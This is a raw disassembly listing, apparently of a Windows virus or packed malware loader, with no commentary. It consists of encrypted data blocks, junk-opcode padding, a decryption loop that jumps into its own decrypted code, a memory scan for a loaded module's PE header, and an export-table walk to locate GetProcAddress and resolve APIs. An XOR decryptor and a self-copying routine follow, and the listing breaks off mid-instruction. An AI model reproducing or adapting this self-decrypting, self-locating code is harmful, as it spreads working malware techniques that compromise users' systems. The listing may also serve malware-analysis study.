15181A18h, 2090307h, 0D010205h, 0A010B0Fh, 50B050Fh dd 2F262E2Ch, 1814152Ah, 111E1614h, 1D131913h, 181C1719h dd 50B0418h, 3030F01h, 80E0204h, 0B0C0D00h, 2F2B210Ah dd 15162A25h, 1E161418h, 131E1F12h, 1917191Dh, 60A1617h dd 4050800h, 0E020501h, 40F0008h, 2E2C050Eh, 102B2A26h dd 1F11151Bh, 12111F12h, 1D10181Eh, 0A1E1F1Fh, 0C080006h dd 0F0D0E02h, 0C0A010Bh, 2C05070Dh, 2C29262Eh, 1810161Ah dd 1E101415h, 10181E12h, 15191B15h, 0B090307h, 0C04020Eh dd 0A030809h, 40C0A06h, 292B2E2Ah, 19131725h, 1C1D1C1Bh dd 1E121A10h, 1C1A161Ch, 2020214h, 0D070309h, 0B0B06h dd 0F060E0Ch, 272C2209h, 101B2D29h, 1F161010h, 11131511h dd 1A161B1Eh, 1141Ch, 20E0207h, 8090C04h, 0A060208h, 2F2A040Ch dd 17252D29h, 1D151913h, 1A101C16h, 1F121B12h, 2181419h dd 0E05000Ah, 0D0C0402h, 0B010A09h, 2C0B050Fh, 2D292724h dd 1515101Bh, 15111F1Ch, 121E1113h, 141C1A16h, 4060901h dd 0C04020Eh, 10B0D0Eh, 0E050F0Bh, 242F2C23h, 131A1228h dd 1C141714h, 1B121A10h, 141E181Ah, 50A0218h, 10F0106h dd 3080305h, 9070D0Eh, 282D200Dh, 161A262Bh, 17151810h dd 1E121216h, 1F1F1018h, 307151Ah, 30D0109h, 20A000Ch dd 0D0A0D0Bh, 27290804h, 14292C2Ch, 1F11151Bh, 1B1F1014h dd 17191D13h, 11A1D1Ch, 0F01050Bh, 205020Ch, 0D00080Eh dd 210A0908h, 2E252F2Bh, 191B1515h, 1F1D1713h, 191D1310h dd 15161B17h, 2090307h, 0D0E0D06h, 0A010B0Fh, 50A090Fh dd 2C262E2Ch, 151B172Eh, 11141F11h, 1D131A12h, 1A1C1719h dd 60A18h, 0F040208h, 10B0F0Dh, 40F0A0Ah, 2C272908h, 1B122826h dd 141F1115h, 13111510h, 1917191Dh, 60A1E1Ah, 0C050800h dd 0E020506h, 50D0008h, 2B210B09h, 1426252Fh, 16141818h dd 1C1E1F1Eh, 17191D13h, 0A171C1Bh, 5080006h, 2000503h dd 0D00080Eh, 210A0D0Bh, 2E252F2Bh, 14181714h, 1E171E16h dd 1C101C1Eh, 1F18161Eh, 1050B03h, 0F040Fh, 90D030Ah, 50A0507h dd 2F262E2Ch, 1812122Ch, 171E1614h, 101C1E17h, 1F161E1Ch dd 805081Bh, 70E0604h, 0C0800h, 0F060E0Ch, 272F2C06h, 181B2D29h dd 121E161Bh, 1B191C14h, 1A161D18h, 101141Ch, 20E060Bh dd 0D090C04h, 0A06090Ah, 242A040Ch dd 1725282Ah, 17121913h, 1F1D1711h, 181C111Bh, 218141Eh dd 106000Ah, 305010Fh, 0B020808h, 200D0907h, 2F2D292Dh dd 1810161Ah, 1E171115h, 10181E12h, 1D171B1Dh, 800060Ah dd 0D020205h, 0A010B0Fh, 507090Dh, 2F262E2Ch, 18171229h dd 171E1614h, 101C1A15h, 1F161E1Ch, 800051Fh, 70E0604h dd 80C07h, 0F060E0Ch, 2A262C0Dh, 1311242Ch, 17131917h dd 1B1A101Dh, 161E1C10h, 0B051E19h, 40F0105h, 3000E07h dd 0C07090Dh, 2623090Eh, 18242C2Ah, 13191614h, 1B161D17h dd 1B111D19h, 91A151Fh, 6040809h, 0F07070Eh, 7090D03h dd 21080C08h, 2D252F2Bh, 14181817h, 1F101E16h, 191D131Eh dd 1B1A1C17h, 1050B04h, 0E07040Fh, 90D0308h, 0C060C07h dd 2C2A2623h, 16191124h, 1D171319h, 181E1D16h, 151F1B11h dd 502091Eh, 0D070309h, 0D030000h, 60C0709h, 2A262D0Eh dd 1717242Ch, 17131917h, 1A11161Dh, 1F1B1118h, 5001B15h dd 0E060408h, 0E020105h, 0D0D0008h, 2B210E06h, 172E252Fh dd 13191018h, 11161D17h, 1B11121Fh, 116151Fh, 6040807h dd 0D02070Eh, 0E0C0001h, 2A0E0A06h, 242C2A26h, 11161011h dd 1C14121Eh, 1113111Eh, 1E151F1Bh, 9070906h, 0F0D0703h dd 0C000C0Ch, 0F0F060Eh, 2927252Ch, 12131B2Dh, 111F1512h dd 1C181315h, 19171B1Ch, 3070B1Dh, 4020E07h, 309090Ch dd 0C0A060Fh, 2C252C04h, 1A122824h, 1F1C1214h, 18131511h dd 171C1E12h, 0B1D19h, 0F0D030Ah, 0A030501h, 0A06020Eh dd 2C2A040Ch, 1228242Dh, 1616161Ah, 1315111Fh, 1B111E1Eh dd 719151Fh, 6040800h, 0A04070Eh, 0E0C0000h, 2C050806h dd 2F29262Eh, 11151B18h, 1F1E161Fh, 10181E12h, 161D1A1Dh dd 800060Ah, 0D000D0Ch, 0F010B0Fh, 8040C04h, 292E2729h dd 10161A2Ah, 151D1518h, 181E1215h, 1E181D10h, 60A1Ch dd 6020D08h, 10B0F0Dh, 0A08040Ah, 262E2C05h, 16172C2Fh dd 1E161418h, 13101210h, 1517191Dh, 60A1A1Dh, 5010800h dd 20A000Ch, 0F0B0F0Bh, 27290804h, 1A262628h, 12181016h dd 1A101C11h, 161E1212h, 1141C1Ah, 0E010104h, 10C0402h dd 0B01030Bh, 230D050Fh, 2D292728h, 121B101Bh, 15111F11h dd 1A181813h, 1D191714h, 200040Bh, 0C04020Eh, 10C0B0Ch dd 7050F0Bh, 2927292Ah, 17101B2Dh, 111F141Bh, 1D181315h dd 1917151Bh, 60B1Dh, 4020E02h, 20C090Ch, 50F0B01h, 2A262A0Bh dd 1111242Ch, 121E171Ah, 1A191C14h, 1A16181Ah, 601141Ch dd 20E0504h, 0A090C04h, 0A060D0Fh, 2F2A040Ch, 17252B29h dd 11121913h, 1F1D1417h, 181A111Bh, 7151718h, 5020903h dd 0F0D0307h, 0D0A010Bh, 2C050C05h, 2A2F262Eh, 14181713h dd 1E121E16h, 191D1318h, 181F1917h, 800060Ah, 0D050107h dd 2010B0Fh, 8040B0Ah, 292C2729h, 151B1228h, 1F141F11h dd 1D131C11h, 1E1F1719h, 50B001Fh, 0F040F01h, 0D030E02h dd 0A0F0709h, 2F2B2108h, 12132E25h, 17131913h, 1A1D151Dh dd 161E1C10h, 0B021D1Bh, 40F0105h, 0E020107h, 50D0008h dd 2B210607h, 162E252Fh, 13191012h, 1A161D17h, 1B11191Dh dd 818151Fh, 6040807h, 5070Eh, 0E0C000Eh, 2A0C0906h, 242C2A26h dd 12101811h, 1C14121Eh, 131F1F19h, 141C1A16h, 9050909h dd 60D0703h, 10A0900h, 0A050F0Bh, 29272E23h, 1A101B2Dh dd 111F161Bh, 1C1D1315h, 1C1A161Fh, 4050114h, 4020E01h dd 0E01090Ch, 0C0A060Bh, 2C2B2A04h, 13172527h, 16111219h dd 1B1F1D15h, 1B151D11h, 0A021814h, 20E0004h, 0B0C0C04h dd 0F0B0109h, 2F290E05h, 1228242Ch, 171A131Ah, 1A101C14h dd 1D1E1312h, 0B1D1917h, 2000400h, 305010Fh, 9020E08h dd 200D0907h, 25292C2Bh, 12191317h, 1D17171Ch, 1A111B1Fh dd 18141F15h, 3030A02h, 0C0201h, 0B0B020Ah, 8040A0Ah, 272A2729h dd 10161A2Bh, 1C151218h, 1E121A10h, 1917151Bh, 1050B1Dh dd 4020E00h, 0A090A0Ch, 0C0A060Eh, 29242A04h, 13172526h dd 16171219h, 1B1F1D16h, 18181911h, 0A021814h, 2020003h dd 20A000Ch, 0F04080Bh, 27290804h, 1827262Ch, 1F11151Bh dd 18141714h, 17191D13h, 51E1D1Ch, 0F01050Bh, 8000F04h dd 7090D03h, 210D0F0Fh, 29252F2Bh, 14181618h, 17141E16h dd 1C101A19h, 1D1F161Eh, 4080004h, 0F050E06h, 90D0309h dd 8090C07h, 2C2A2628h, 15171124h, 14121E15h, 181B1E1Ch dd 151F1B11h, 803061Dh, 0F0E0604h, 0D030C00h, 0B0C0709h dd 2A262F07h, 1019242Ch, 1713191Bh, 1D1C161Dh, 1F1B1113h dd 4001E15h, 7030901h, 0B08010Dh, 60E0C00h, 2B220F0Fh dd 1B2D2927h, 17151610h, 1315111Fh, 1B11121Bh, 41E151Fh dd 3090509h, 0F0E0D07h, 0E0C000Ch, 2D080F06h, 2D29272Ch dd 1311151Bh, 1C14121Eh, 1B1A1A19h, 141C1A16h, 90A0003h dd 10D0703h, 0C00010Fh, 0E0C060Eh, 2C2A262Ah, 13161524h dd 1D171319h, 1C1B1C16h, 151F1B11h, 805011Ch, 40E0604h dd 0D03000Eh, 40C0709h, 2C272908h, 1B142D2Dh, 141F1115h dd 13101415h, 1C17191Dh, 0B05191Bh, 20F0105h, 0E020E0Fh dd 0C0D0008h, 2B210C0Eh, 192E252Fh, 13191610h, 1D101D17h dd 1E1C1011h, 8191F16h, 6040807h, 0B07030Eh, 7090D03h dd 210C0D0Fh, 2E252F2Bh, 19141218h, 161D1713h, 111B181Fh dd 1B151F1Bh, 4080605h, 0E070E06h, 0C00010Bh, 0C0F060Eh dd 29272A2Ah, 14131B2Dh, 14121E15h, 1E1E191Ch, 1C1A161Fh dd 30414h, 0D070309h, 0C0005h, 0A060E0Ch, 2A262E07h, 1511242Ch dd 121E1517h, 1C191C14h, 1A161313h, 207141Ch, 7030904h dd 90B010Dh, 60E0C00h, 2C2E080Fh, 1B2D2927h, 1D141610h dd 1315111Fh, 161D1E1Dh, 9141C1Ah, 6040801h, 0F01070Eh dd 0E0C0001h, 2C0C0F06h, 2D29272Fh, 1A1A161Bh, 1C14121Eh dd 1D1D1E19h, 141C1A16h, 4010001h, 0C04020Eh, 30D0B09h dd 40C0A06h, 2A2C2A2Ah, 19131725h, 1E171512h, 111B1F1Dh dd 141D1D1Ah, 30A0218h, 10F0404h, 0E080305h, 0C0A060Fh dd 292A2A04h, 1317252Dh, 131C1219h, 1B1F1D17h, 1F1A1311h dd 0A021814h, 0F0C030Ah, 0A030501h, 0A060D03h, 252F040Ch dd 1228242Eh, 1311131Ah, 1A101C15h, 18181C12h, 0B1D1917h dd 3090006h, 8000D07h, 0E0C0000h, 230E0F06h, 2D29272Fh dd 1B13101Bh, 15111F13h, 121D1813h, 141C1A16h, 3040101h dd 0C04020Eh, 0E0C0B09h, 40C0A06h, 242E2429h, 131A1228h dd 1C141516h, 1B121A10h, 19171E13h, 0B030B1Dh, 4020E06h dd 0D0D0C0Ch, 50F0B01h, 2C2D2A0Eh, 1A122824h, 1C111A13h dd 121A101Ch, 1718191Bh, 30B1D19h, 20E0706h, 0C090C04h dd 0A060208h, 242F040Ch, 12282424h, 121A1B1Ah, 1315111Fh dd 1B111E10h, 917151Fh, 6040806h, 1040F0Eh, 7090D03h, 2B0E090Ch dd 242C2A26h, 19121411h, 151D1713h, 111E1918h, 18151F1Bh dd 4080505h, 5040E06h, 90D030Fh, 50F0407h, 27262E2Ch, 151B1827h dd 16141F11h, 1D131A15h, 1A1C1719h, 50B041Dh, 0F030F01h dd 10B0F0Dh, 404080Ch, 2C272908h, 161A2F2Dh, 10151810h dd 1E121711h dd 181A1018h, 307151Fh, 2060009h, 20A000Ch, 80A030Bh, 27290804h dd 10272C2Ch, 1F11151Bh, 12101E11h, 1D10181Eh, 0A1E1719h dd 5080006h, 0F0D0704h, 0B0A010Bh, 2C050C0Fh, 2C2F262Eh dd 14181714h, 10171E16h, 1C101D10h, 1D1F161Eh, 4080209h dd 4070E06h, 0C00000Ch, 0B0F060Eh, 29272429h, 16121B2Dh dd 14121E14h, 181F191Ch, 1C1A161Bh, 8000314h, 70E0604h dd 90A03h, 0F060E0Ch, 272F2B06h, 181B2D29h, 121E1216h dd 191E1C14h, 1F1B111Dh, 31E15h, 7030906h, 0A0B060Dh, 0F0B010Eh dd 242A0D05h, 1B2D2927h, 1D171B10h, 1315111Fh, 1A121218h dd 0B1D1917h, 0E060705h, 90C0402h, 60C0E0Dh, 28040C0Ah dd 28242B2Fh, 14131A12h, 101C1215h, 1B1B121Ah, 18141B14h dd 6000A02h, 5010F00h, 0D0B0803h, 0D090704h, 2E2C2D20h dd 10161A2Ah, 17151518h, 181E1211h, 1B1F1D10h, 60A16h dd 30208h, 10B0F0Dh, 40F0B02h, 29272908h, 161A2C2Fh, 1D151810h dd 1E121F1Fh, 1C141018h, 307151Ah, 0C000209h, 0B0F0D0Fh dd 0D090A01h, 2E2C050Bh, 10282D26h, 1F11151Bh, 12161E14h dd 1D10181Eh, 0A1C1B1Ch, 6080006h, 305010Fh, 60C090Ah dd 2A040C0Ah, 25262C29h, 17191317h, 101C1C16h, 191B121Ah dd 1814141Ch, 7030A02h, 0C0C04h, 20B020Ah, 804050Eh, 292C2729h dd 151B172Ah, 17141F11h, 1D131A11h, 171C1719h, 50B0918h dd 30F01h, 80E020Eh, 0C0F0D00h, 262E2C05h, 1B132B2Ch, 141F1115h dd 131E1317h, 1517191Dh, 60A1F1Eh, 5000800h, 0B0F0D06h dd 50B0201h, 27290804h, 18262A2Ch, 1F11151Bh, 12121514h dd 1E10181Eh, 7151E1Ch, 0C020903h, 0F0D0F01h, 0B0A010Bh dd 2C050A0Eh, 292F262Eh, 14181215h, 1F141E16h, 191D131Fh dd 17191C17h, 1050B01h, 0D04030Fh, 0A010B0Fh, 50A0D0Dh dd 2D262E2Ch, 151B172Fh, 1E141F11h, 1D131B16h, 1C1C1719h dd 50B091Bh, 0E040F01h, 0D030E07h, 0A0A0709h, 2F2B210Bh dd 12172925h, 1E161418h, 1E1F1217h, 161E1C10h, 500191Fh dd 0E060408h, 30A0100h, 0C07090Dh, 26290707h, 18242C2Ah dd 13191010h, 1F131D17h, 1E1C101Eh, 61D1B16h, 0F01050Bh dd 2010703h, 0D00080Eh, 210C090Fh, 2E252F2Bh, 19121714h dd 1F1D1713h, 1C101A1Ch, 1A1F161Eh, 4080408h, 0E000E06h dd 90D030Fh, 6060F07h, 252F2B21h, 1810192Ah, 1F1E1614h dd 1D131016h, 161C1719h, 50B0718h, 4020F01h, 80E020Fh dd 0E090900h, 262E2C05h, 13142D2Fh, 1E161418h, 13181F1Fh dd 1C17191Dh, 0B04171Fh, 40F0105h, 3090102h, 0C07090Dh dd 2B21080Bh, 182E252Fh, 13191610h, 10161D17h, 1B11181Bh dd 51E151Fh, 3090A03h, 0E0F0D07h, 7090D03h, 2E0D0B0Ch dd 242C2A26h, 19101518h, 161D1713h, 111C1111h, 1E151F1Bh dd 9070909h, 60D0703h, 1030A0Dh, 0E050F0Bh, 24292E23h dd 131A1228h, 1C131711h, 1E121A10h, 19171A18h, 2000B1Dh dd 10F0404h, 0F0B0305h, 0C0A060Ch, 242B2804h, 1A122824h dd 14131213h, 121A101Ch, 17151E12h, 0B1D19h, 0F030002h dd 8030501h, 70A0D08h, 29200D09h, 17252D2Ah, 16111913h dd 1A101C1Dh, 181C1C12h, 0B1D1917h, 0E050107h, 90C0402h dd 60D0B00h, 2A040C0Ah, 252C292Fh, 12191317h, 1D131115h dd 13111B1Fh, 18141D1Fh, 0A0B0A02h, 5010F0Ch, 8090A03h dd 40C0A06h, 2A2E2A2Ah, 19131725h, 17151312h, 111B1F1Dh dd 1D14181Ah, 9030715h, 10102h, 10B0F0Dh, 60C0F0Ah, 262E2C05h dd 1410262Fh, 1E161418h, 1D1A1517h, 161E1C10h, 4031B1Fh dd 0E060408h, 3090104h, 807090Dh, 2B210806h, 152E252Fh dd 13191A19h, 19141D17h, 1E1C1010h, 31D1716h, 0F01050Bh dd 2050207h, 0A00080Eh, 2C050D0Eh, 2E2F262Eh, 14181416h dd 17171E16h, 1C101E1Ah, 1A17161Eh, 1050B06h, 502040Fh dd 90D030Bh, 0E0E0C07h, 2C2A262Bh, 17141124h, 14121E15h dd 1F1D191Ch, 1C1A1618h, 6040114h, 4020E04h, 80E0D0Ch dd 50F0B01h, 24282B0Eh, 1A122824h, 121E1311h, 11191C14h dd 1A161B1Ch, 1141Ch, 20E0404h, 0C0F0C04h, 0F0B010Bh, 24280E05h dd 12282429h, 111B131Ah, 1A101C14h, 1F1D1212h, 0B1D1917h dd 0C020B00h, 305010Fh, 60E0D08h, 22040C0Ah, 2824252Ah dd 15131A12h, 101C1C15h, 1E1B121Ah, 18141D1Dh, 6030A02h dd 0C0D04h, 0F09020Ah, 0D09070Dh, 2A242D20h, 10161A2Fh dd 15101518h, 181E1212h, 44415010h, 10h dup(0) dd 4A5A4900h, 1Ah dup(0) dd 5D000000h, 574D4126h, 7F515549h, 4C454454h, 77595B4Dh dd 0F594862h, 58515060h, 17515B5Dh, 534E5C75h, 4F625953h dd 266B7569h, 527D102Dh, 1E534D51h, 59751815h, 56480258h dd 4Ah, 1035h dup(0) dd 3, 9 dup(0) dd 1Bh, 0 dd 3Fh, 0 dd 101h, 0 ; --------------------------------------------------------------------------- push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp dec ecx dec esi inc edi pop eax pop eax push eax inc ecx inc esp inc esp dec ecx dec esi inc edi push eax inc ecx inc esp inc esp assume ds:_data ; =============== S U B R O U T I N E ======================================= public start start proc near var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 40056C73 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 40056C86 SIZE 000000DE BYTES ; FUNCTION CHUNK AT 40056DD2 SIZE 0000000A BYTES sub eax, eax loc_40056C02: ; CODE XREF: start+8j dec al or al, al jz short loc_40056C0C jnz short loc_40056C02 jmp short loc_40056C73 ; --------------------------------------------------------------------------- loc_40056C0C: ; CODE XREF: start+6j call sub_40056C38 add ebp, 2Ah push ebp mov edi, 243Ch mov ebx, 0CFh loc_40056C22: ; CODE XREF: start+31j mov al, [ebp+0] sub ax, bx mov [ebp+0], al add ebp, 1 dec edi or edi, edi jnz short loc_40056C22 pop ebp jmp ebp start endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40056C38 proc near ; CODE XREF: start:loc_40056C0Cp pop ebp jmp ebp sub_40056C38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E8h, 24048B00h, 242B80F7h, 0 dd 98898000h, 29ACh, 4245C8Bh, 59FC2D74h, 29B0B089h, 0B8890000h dd 29B4h, 242FB880h, 75E80000h db 0Dh, 3, 98h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40056C73: ; CODE XREF: start+Aj xor [eax+eax], ah add [ebx+33FF025Bh], cl jmp short loc_40056C86 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- mov ebx, [eax+2431h] push dword ptr [ebx] ; START OF FUNCTION CHUNK FOR start loc_40056C86: ; CODE XREF: start+7Cj pop ebx push ebp xchg eax, ebp sub [esp+arg_0], 3D851h and ebx, 0FFFFF000h sub ebp, 401006h mov edi, [esp+arg_0] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_40056CAE: ; CODE XREF: start+CAj cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_40056CC4 mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_40056CCC loc_40056CC4: ; CODE XREF: start+B5j sub ebx, 100h jnz short loc_40056CAE loc_40056CCC: ; CODE XREF: start+C2j mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_40056CDA: ; CODE XREF: start:loc_40056D01j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_40056D01 cmp dword ptr [eax+3], 636F7250h jnz short loc_40056D01 cmp dword ptr [eax+7], 72646441h jnz short loc_40056D01 cmp dword ptr [eax+0Bh], 737365h jz short loc_40056D06 loc_40056D01: ; CODE XREF: start+E4j start+EDj ... loop loc_40056CDA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40056D06: ; CODE XREF: start+FFj sub [esp+4+var_4], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_40056D2C+2 inc ebx insb outsd jnb short near ptr loc_40056D8A+2 dec eax popa outsb db 64h insb loc_40056D2C: ; CODE XREF: start+11Dp add gs:[ebx-1], dl setalc mov [ebp+40353Ch], eax call near ptr loc_40056D48+1 inc ebx jb short near ptr loc_40056DA3+1 popa jz short near ptr loc_40056DA3+4 inc ebp jbe short near ptr loc_40056DA9+1 outsb jz short near ptr loc_40056D87+2 loc_40056D48: ; CODE XREF: start+137p add [ebx-1], dl setalc mov [ebp+403540h], eax call sub_40056D64 inc edi db 65h jz short near ptr loc_40056DA3+4 popa jnb short loc_40056DD2 inc ebp jb short near ptr loc_40056DD2+1 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_40056D64 proc near ; CODE XREF: start+152p ; FUNCTION CHUNK AT 40056E0D SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 40056F4D SIZE 0000013A BYTES push ebx call esi mov [ebp+403544h], eax call sub_40056DE2 test eax, eax jz short loc_40056D97 push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_40056D91 lea eax, [ebp+4011D2h] loc_40056D87: ; CODE XREF: start+146j mov dl, [eax-1] loc_40056D8A: ; CODE XREF: start+125j call sub_40056DFD jmp short loc_40056E0D ; --------------------------------------------------------------------------- loc_40056D91: ; CODE XREF: sub_40056D64+1Bj ; sub_40056D64+136j ... call dword ptr [ebp+40353Ch] loc_40056D97: ; CODE XREF: sub_40056D64+10j test dword ptr [ebp+403431h], 80000000h jz short loc_40056DC1 loc_40056DA3: ; CODE XREF: start+13Dj start+140j ... lea esi, [ebp+403435h] loc_40056DA9: ; CODE XREF: start+143j mov edi, [esp+4] movsb movsd mov ebx, [ebp+4039B2h] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] loc_40056DC1: ; CODE XREF: sub_40056D64+3Dj pop ebp retn sub_40056D64 endp ; --------------------------------------------------------------------------- loc_40056DC3: ; CODE XREF: sub_40056DE2+2p ; sub_40056D64:loc_40056FCCp pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40056DD2: ; CODE XREF: start+15Cj start+15Fj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 align 2 ; =============== S U B R O U T I N E ======================================= sub_40056DE2 proc near ; CODE XREF: sub_40056D64+9p xor ecx, ecx call loc_40056DC3 lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_40056DE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40056DFD proc near ; CODE XREF: sub_40056D64:loc_40056D8Ap ; sub_40058BD1+25Bp mov dh, dl mov ecx, 225Fh loc_40056E04: ; CODE XREF: sub_40056DFD+Cj xor [eax], dl inc eax add dl, dh loop loc_40056E04 retn sub_40056DFD endp ; --------------------------------------------------------------------------- db 23h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40056D64 loc_40056E0D: ; CODE XREF: sub_40056D64+2Bj and dword ptr [ebp+401580h], 0 and dword ptr [ebp+401584h], 0 and dword ptr [ebp+401588h], 0 mov eax, [ebp+403431h] xor ecx, ecx push 1 mov cl, 20h pop dword ptr [ebp+40397Eh] loc_40056E34: ; CODE XREF: sub_40056D64+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add [ebp+40397Eh], edx loop loc_40056E34 push edi mov byte ptr [ebp+401303h], 1 mov [ebp+403548h], esi lea esi, [ebp+4015BBh] xor ecx, ecx lea edi, [ebp+403558h] mov cl, 1Eh call sub_400571C7 pop edi call dword ptr [ebp+403594h] shr eax, 1Fh jz loc_40056F4D mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+403550h], eax push 69CEh push 0 call dword ptr [ebp+4035C8h] test eax, eax jz loc_40056D91 xchg eax, edi lea esi, [ebp+401000h] mov ebp, edi mov ecx, 0A74h sub ebp, 401000h lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_40056D64 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+401A3Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+403550h] add esp, 20h test eax, eax jz loc_40056D91 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+403550h] test eax, eax jz loc_40056D91 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+403550h] push 1000Ah call dword ptr [ebp+403550h] call sub_40056F3D jmp loc_40056D91 ; =============== S U B R O U T I N E ======================================= sub_40056F3D proc near ; CODE XREF: .rsrc:40056F33p ; sub_40056F3D+Dj push 1 pop ecx jecxz short locret_40056F4C push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_40056F3D ; --------------------------------------------------------------------------- locret_40056F4C: ; CODE XREF: sub_40056F3D+3j retn sub_40056F3D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40056D64 loc_40056F4D: ; CODE XREF: sub_40056D64+10Fj cmp dword ptr [ebp+403570h], 0 jz loc_40056D91 call near ptr loc_40056F64+1 dec esi push esp inc esp dec esp dec esp loc_40056F64: ; CODE XREF: sub_40056D64+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_40056F81+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_400571C7 loc_40056F81: ; CODE XREF: sub_40056D64+209j cmp dword ptr [ebp+4035F8h], 0 jz loc_40056D91 mov eax, [ebp+4035D4h] push dword ptr [eax+1] pop dword ptr [ebp+403395h] mov eax, [ebp+4035E8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, [ebp+4035D8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E9h] mov ecx, [ebp+4035DCh] jecxz short loc_40056FCC push dword ptr [ecx+1] pop dword ptr [ebp+4033F6h] loc_40056FCC: ; CODE XREF: sub_40056D64+25Dj call loc_40056DC3 lea edi, [ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_40057011: ; CODE XREF: sub_40056D64+2B0j lodsb stosw loop loc_40057011 push 0 push 69CEh mov ecx, esp push 0 mov eax, 